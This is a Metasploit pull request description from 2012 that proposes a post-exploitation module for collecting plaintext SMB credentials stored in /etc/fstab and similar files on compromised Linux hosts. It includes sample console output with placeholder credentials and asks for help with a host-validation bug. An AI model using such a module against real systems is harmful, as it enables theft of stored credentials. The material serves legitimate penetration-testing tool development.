rapid7/metasploit-framework — pull request #141 by jhartftw (2012-01-29 20:11:31+00:00)
Title: Add post module to obtain SMB credentials stored for mount.smbfs

An easy way to get plain text credentials from Linux hosts for SMB servers:

msf post(cifscreds) > exploit

[+] SMB credentials: user=domain7\user7, pass=pass7, host=1.2.3.4 from /etc/fstab
[+] SMB credentials: user=domain1\user1, pass=pass1, host=host1 from /etc/fstab
[+] SMB credentials: user=domain2\user2, pass=pass2, host=host2 from /etc/fstab
[+] SMB credentials: user=domain3\user3, pass=pass3, host=host3 from /etc/fstab
[+] SMB credentials: user=domain4\user4, pass=pass4, host=host4 from /etc/fstab
[+] SMB credentials: user=user5, pass=pass5, host=host5 from /etc/fstab
[+] SMB credentials: user=user6, pass=pass6, host=host6 from /tmp/creds

The only issue I haven't figure out the right fix for is how to handle this:

msf post(cifscreds) > db_connect msf:msf@localhost/msf
msf post(cifscreds) > exploit

[+] SMB credentials: user=domain7\user7, pass=pass7, host=1.2.3.4 from /etc/fstab
[-] Post failed: ArgumentError Invalid address or object for :host ("host1")
[-] Call stack:

Hosts that aren't IP addresses won't validate. I'm not sure what the right way is to turn these into Host objects.